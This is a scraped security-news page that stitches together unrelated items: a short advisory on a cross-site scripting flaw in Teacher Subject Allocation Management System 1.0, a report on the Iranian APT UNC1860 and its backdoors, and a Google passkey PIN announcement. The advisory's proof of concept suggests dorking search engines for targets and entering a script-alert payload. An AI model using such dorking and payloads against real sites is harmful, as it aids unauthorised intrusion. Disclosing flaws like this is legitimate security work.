*   OpenBSD (490)
*   RedHat (16,845)
*   Slackware (941)
*   Solaris (1,615)
*   SUSE (1,444)
*   Ubuntu (9,852)
*   UNIX (9,456)
*   UnixWare (188)
*   Windows (6,772)
*   Other

Taskhub 3.0.3 Insecure Settings

Teacher Subject Allocation Management System version 1.0 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Teacher Subject Allocation Management System 1.0 XSS Vulnerability                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/teacher-subject-allocation-system-using-php-and-mysql/                                      |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] In the search box, put your payload.[+] use payload : <script>alert(/indoushka/);</script>[+] http://127.0.0.1/tsas/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Teacher Subject Allocation Management System 1.0 Cross Site Scripting

An Iranian advanced persistent threat (APT) threat actor likely affiliated with the Ministry of Intelligence and Security (MOIS) is now acting as an initial access facilitator that provides remote access to target networks.
Google-owned Mandiant is tracking the activity cluster under the moniker UNC1860, which it said shares similarities with intrusion sets tracked by Microsoft, Cisco Talos, and

An Iranian advanced persistent threat (APT) threat actor likely affiliated with the Ministry of Intelligence and Security (MOIS) is now acting as an initial access facilitator that provides remote access to target networks.

Google-owned Mandiant is tracking the activity cluster under the moniker **UNC1860**, which it said shares similarities with intrusion sets tracked by Microsoft, Cisco Talos, and Check Point as Storm-0861 (formerly DEV-0861), ShroudedSnooper, and Scarred Manticore, respectively.

"A key feature of UNC1860 is its collection of specialized tooling and passive backdoors that \[...\] supports several objectives, including its role as a probable initial access provider and its ability to gain persistent access to high-priority networks, such as those in the government and telecommunications space throughout the Middle East," the company said.

The group first came to light in July 2022 in connection with destructive cyber attacks targeting Albania with a ransomware strain called ROADSWEEP, the CHIMNEYSWEEP backdoor, and a ZEROCLEAR wiper variant (aka Cl Wiper), with subsequent intrusions in Albania and Israel leveraging new wipers dubbed No-Justice and BiBi (aka BABYWIPER).

Mandiant described UNC1860 as a "formidable threat actor" that maintains an arsenal of passive backdoors that are designed to obtain footholds into victim networks and set up long-term access without attracting attention.

Among the tools includes two GUI-operated malware controllers tracked as TEMPLEPLAY and VIROGREEN, which are said to provide other MOIS-associated threat actors with remote access to victim environments using remote desktop protocol (RDP).

Specifically, these controllers are designed to provide third-party operators an interface that offers instructions on the ways custom payloads could be deployed and post-exploitation activities such as internal scanning could be carried out within the target network.

Mandiant said it identified overlaps between UNC1860 and APT34 (aka Hazel Sandstorm, Helix Kitten, and OilRig) in that organizations compromised by the latter in 2019 and 2020 were previously infiltrated by UNC1860, and vice versa. Furthermore, both the clusters have been observed pivoting to Iraq-based targets, as recently highlighted by Check Point.

The attack chains involve leveraging initial access gained by opportunistic exploitation of vulnerable internet-facing servers to drop web shells and droppers like STAYSHANTE and SASHEYAWAY, with the latter leading to the execution of implants, such as TEMPLEDOOR, FACEFACE, and SPARKLOAD, that are embedded within it.

"VIROGREEN is a custom framework used to exploit vulnerable SharePoint servers with CVE-2019-0604," the researchers said, adding that it controls STAYSHANTE, along with a backdoor referred to as BASEWALK.

"The framework provides post-exploitation capabilities including \[...\] controlling post-exploitation payloads, backdoors (including the STAYSHANTE web shell and the BASEWALK backdoor) and tasking; controlling a compatible agent regardless of how the agent has been implanted; and executing commands and uploading/downloading files.

TEMPLEPLAY (internally named Client Http), for its part, serves as the .NET-based controller for TEMPLEDOOR. It supports backdoor instructions for executing commands via cmd.exe, upload/download files from and to the infected host, and proxy connection to a target server.

It's believed that the adversary has in its possession a diverse collection of passive tools and main-stage backdoors that align with its initial access, lateral movement, and information gathering goals.

Some of the other tools of note documented by Mandiant are listed below -

*   OATBOAT, a loader that loads and executes shellcode payloads
*   TOFUDRV, a malicious Windows driver that overlaps with WINTAPIX
*   TOFULOAD, a passive implant that employs undocumented Input/Output Control (IOCTL) commands for communication
*   TEMPLEDROP, a repurposed version of an Iranian antivirus software Windows file system filter driver named Sheed AV that's used to protect the files it deploys from modification
*   TEMPLELOCK, a .NET defense evasion utility that's capable of killing the Windows Event Log service
*   TUNNELBOI, a network controller capable of establishing a connection with a remote host and managing RDP connections

"As tensions continue to ebb and flow in the Middle East, we believe this actor's adeptness in gaining initial access to target environments represents a valuable asset for the Iranian cyber ecosystem that can be exploited to answer evolving objectives as needs shift," researchers Stav Shulman, Matan Mimran, Sarah Bock, and Mark Lechtik said.

The development comes as the U.S. government revealed Iranian threat actors' ongoing attempts to influence and undermine the upcoming U.S. elections by stealing non-public material from former President Donald Trump's campaign.

"Iranian malicious cyber actors in late June and early July sent unsolicited emails to individuals then associated with President Biden's campaign that contained an excerpt taken from stolen, non-public material from former President Trump's campaign as text in the emails," the government said.

"There is currently no information indicating those recipients replied. Furthermore, Iranian malicious cyber actors have continued their efforts since June to send stolen, non-public material associated with former President Trump's campaign to U.S. media organizations."

Iran's ramping up of its cyber operations against its perceived rivals also comes at a time when the country has become increasingly active in the Middle East region.

Late last month, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) warned that the Iranian APT Lemon Sandstorm (aka Fox Kitten) has carried out ransomware attacks by clandestinely partnering with NoEscape, RansomHouse, and BlackCat (aka ALPHV) groups.

Censys' analysis of the hacking group's attack infrastructure has since uncovered other, currently active hosts that are likely part of it based on commonalities based on geolocation, Autonomous System Numbers (ASNs), and identical patterns of ports and digital certificates.

"Despite attempts at obfuscation, diversion, and randomness, humans still must instantiate, operate, and decommission digital infrastructure," Censys' Matt Lembright said.

"Those humans, even if they rely upon technology to create randomization, almost always will follow some sort of pattern whether it be similar Autonomous Systems, geolocations, hosting providers, software, port distributions or certificate characteristics."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Iranian APT UNC1860 Linked to MOIS Facilitates Cyber Intrusions in Middle East

Google on Thursday unveiled a Password Manager PIN to let Chrome web users sync their passkeys across Windows, macOS, Linux, ChromeOS, and Android devices.
"This PIN adds an additional layer of security to ensure your passkeys are end-to-end encrypted and can't be accessed by anyone, not even Google," Chrome product manager Chirag Desai said.
The PIN is a six-digit code by default, although it's

Encryption / Digital Security

Google on Thursday unveiled a Password Manager PIN to let Chrome web users sync their passkeys across Windows, macOS, Linux, ChromeOS, and Android devices.

"This PIN adds an additional layer of security to ensure your passkeys are end-to-end encrypted and can't be accessed by anyone, not even Google," Chrome product manager Chirag Desai said.

The PIN is a six-digit code by default, although it's also possible to create a longer alpha-numeric PIN by selecting "PIN options."

This marks a change from the previous status quo where users could only save passkeys to save passkeys to Google Password Manager on Android.

While the passkeys could be used on other platforms, it was necessary to scan a QR code using the device where they were generated.

The latest change removes that step, making it a lot easier for users to sign in to online services using passkeys by simply scanning their biometrics. Google noted that support for iOS is expected to arrive soon.

This, however, requires the users to know either the Password Manager PIN or the screen lock for their Android devices before using passkeys on a new device.

"These recovery factors will allow you to securely access your saved passkeys and sync new ones across your computers and Android devices," Desai said.

The development comes as the tech giant said passkeys are being used by more than 400 million Google accounts as of May 2024. Two months later, the phishing-resistant alternative was made available to high-risk users via its Advanced Protection Program (APP).

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Tag

#google